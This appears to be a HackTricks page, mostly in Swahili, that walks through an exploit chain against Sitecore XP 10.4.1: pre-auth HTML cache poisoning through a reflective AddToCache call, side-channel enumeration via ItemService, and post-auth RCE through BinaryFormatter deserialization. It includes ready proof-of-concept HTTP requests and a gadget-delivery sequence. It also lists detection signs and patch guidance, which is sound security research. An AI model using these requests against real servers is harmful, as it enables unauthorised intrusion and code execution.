9.8 KiB
Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
{{#include ../../../banners/hacktricks-training.md}}
Ukurasa huu unafupisha mlolongo wa shambulio wa vitendo dhidi ya Sitecore XP 10.4.1 ambao unasogeza kutoka pre‑auth XAML handler hadi HTML cache poisoning na, kupitia authenticated UI flow, hadi RCE kupitia BinaryFormatter deserialization. Mbinu hizi zinaweza kutumika kwa toleo/vipengele vinavyofanana vya Sitecore na zinatoa primitives maalum za kujaribu, kugundua, na kuimarisha.
- Bidhaa iliyoathiriwa iliyojaribiwa: Sitecore XP 10.4.1 rev. 011628
- Imerekebishwa katika: KB1003667, KB1003734 (June/July 2025)
See also:
{{#ref}} ../../../pentesting-web/cache-deception/README.md {{#endref}}
{{#ref}} ../../../pentesting-web/deserialization/README.md {{#endref}}
Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
Sehemu ya kuingia ni pre‑auth XAML handler iliyosajiliwa katika web.config:
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
Inapatikana kupitia:
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
Mti wa udhibiti unajumuisha AjaxScriptManager ambayo, kwenye maombi ya tukio, husoma mashamba yanayodhibitiwa na mshambuliaji na kwa reflection huitekeleza mbinu kwenye vidhibiti vilivyolengwa:
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2")
...
Dispatch(clientId, text);
// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
Uchunguzi muhimu: ukurasa wa XAML una mfano wa XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl unatokana na Sitecore.Web.UI.WebControl (darasa la Sitecore), ambalo linapitia ReflectionUtil.Filter allow‑list (Sitecore.*), likifungua mbinu kwenye Sitecore WebControl.
Magic method for poisoning:
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
Kwa sababu tunaweza kulenga xmlcontrol:GlobalHeader na kuita mbinu za Sitecore.Web.UI.WebControl kwa jina, tunapata pre‑auth arbitrary HtmlCache write primitive.
PoC request (CVE-2025-53693)
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Vidokezo:
- __SOURCE ni clientID ya xmlcontrol:GlobalHeader ndani ya Sitecore.Shell.Xaml.WebControl (kwa kawaida thabiti kama ctl00_ctl00_ctl05_ctl03 kwani inatokana na XAML thabiti).
- __PARAMETERS muundo ni Method("arg1","arg2").
Nini cha kuchafulia: Ujenzi wa ufunguo wa Cache
Ujenzi wa kawaida wa ufunguo wa HtmlCache unaotumika na vidhibiti vya Sitecore:
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData) k += ResolveDataKeyPart();
if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName();
if (this.VaryByParm) k += "_#parm:" + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}
Mfano wa targeted poisoning kwa sublayout iliyojulikana:
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Kuorodhesha vitu vinavyoweza kuhifadhiwa kwenye cache na vipimo vya “vary by”
Ikiwa ItemService imefunuliwa (kibaya) kwa watumiaji wasiojulikana, unaweza kuorodhesha vipengele vinavyoweza kuhifadhiwa kwenye cache ili kupata funguo sahihi.
Jaribio la haraka:
GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required
Orodhesha vitu vinavyoweza kuhifadhiwa kwenye cache na flags:
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
Tafuta mashamba kama Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Majina ya vifaa yanaweza kuorodheshwa kupitia:
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
Side‑channel enumeration chini ya vitambulisho vilivyopunguzwa (CVE-2025-53694)
Hata pale ItemService inapoiga akaunti iliyopunguzwa (kwa mfano, ServicesAPI) na kurudisha Results array tupu, TotalCount inaweza bado kuonyesha pre‑ACL Solr hits. Unaweza brute‑force item groups/ids kwa wildcards na kuangalia TotalCount ikikaribia ili ramani maudhui ya ndani na vifaa:
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item
Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)
Sink:
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
Inafikiwa kupitia hatua ya pipeline convertToRuntimeHtml ConvertWebControls, ambayo inatafuta kipengele chenye id {iframeId}_inner na hufanya base64 decode + deserialize yake, kisha inaingiza mnyororo uliotokana katika HTML:
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
Chochea (authenticated, Content Editor rights). Dialogu ya FixHtml inaita convertToRuntimeHtml. Mwisho‑kwa‑mwisho bila kubofya UI:
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>
// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.
{{#ref}} ../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md {{#endref}}
Mnyororo kamili
- Pre‑auth attacker poisons HtmlCache with arbitrary HTML by reflectively invoking WebControl.AddToCache via XAML AjaxScriptManager.
- Poisoned HTML serves JavaScript that nudges an authenticated Content Editor user through the FixHtml flow.
- The FixHtml page triggers convertToRuntimeHtml → ConvertWebControls, which deserializes attacker‑controlled base64 via BinaryFormatter → RCE under the Sitecore app pool identity.
Ugunduzi
- Pre‑auth XAML: requests to
/-/xaml/Sitecore.Shell.Xaml.WebControl
with__ISEVENT=1
, suspicious__SOURCE
and__PARAMETERS=AddToCache(...)
. - ItemService probing: spikes of
/sitecore/api/ssc
wildcard queries, largeTotalCount
with emptyResults
. - Deserialization attempts:
EditHtml.aspx
followed byFixHtml.aspx?hdl=...
and unusually large base64 in HTML fields.
Kukaza usalama
- Weka Sitecore patches KB1003667 na KB1003734; zuia/zimia pre‑auth XAML handlers au ongeza uthibitisho mkali; angalia na weka rate‑limit kwa
/-/xaml/
. - Ondoa/badilisha BinaryFormatter; punguza ufikiaji wa convertToRuntimeHtml au utekeleze uthibitisho mzito upande wa server kwa HTML editing flows.
- Funga
/sitecore/api/ssc
kwa loopback au roles zilizo authenticated; epuka impersonation patterns ambazo zinatoa leak za side‑channels zaTotalCount
. - Tekeleza MFA/least privilege kwa watumiaji wa Content Editor; pitia CSP ili kupunguza athari za JS steering kutokana na cache poisoning.
References
- watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE
- Sitecore KB1003667 – Security patch
- Sitecore KB1003734 – Security patch
{{#include ../../../banners/hacktricks-training.md}}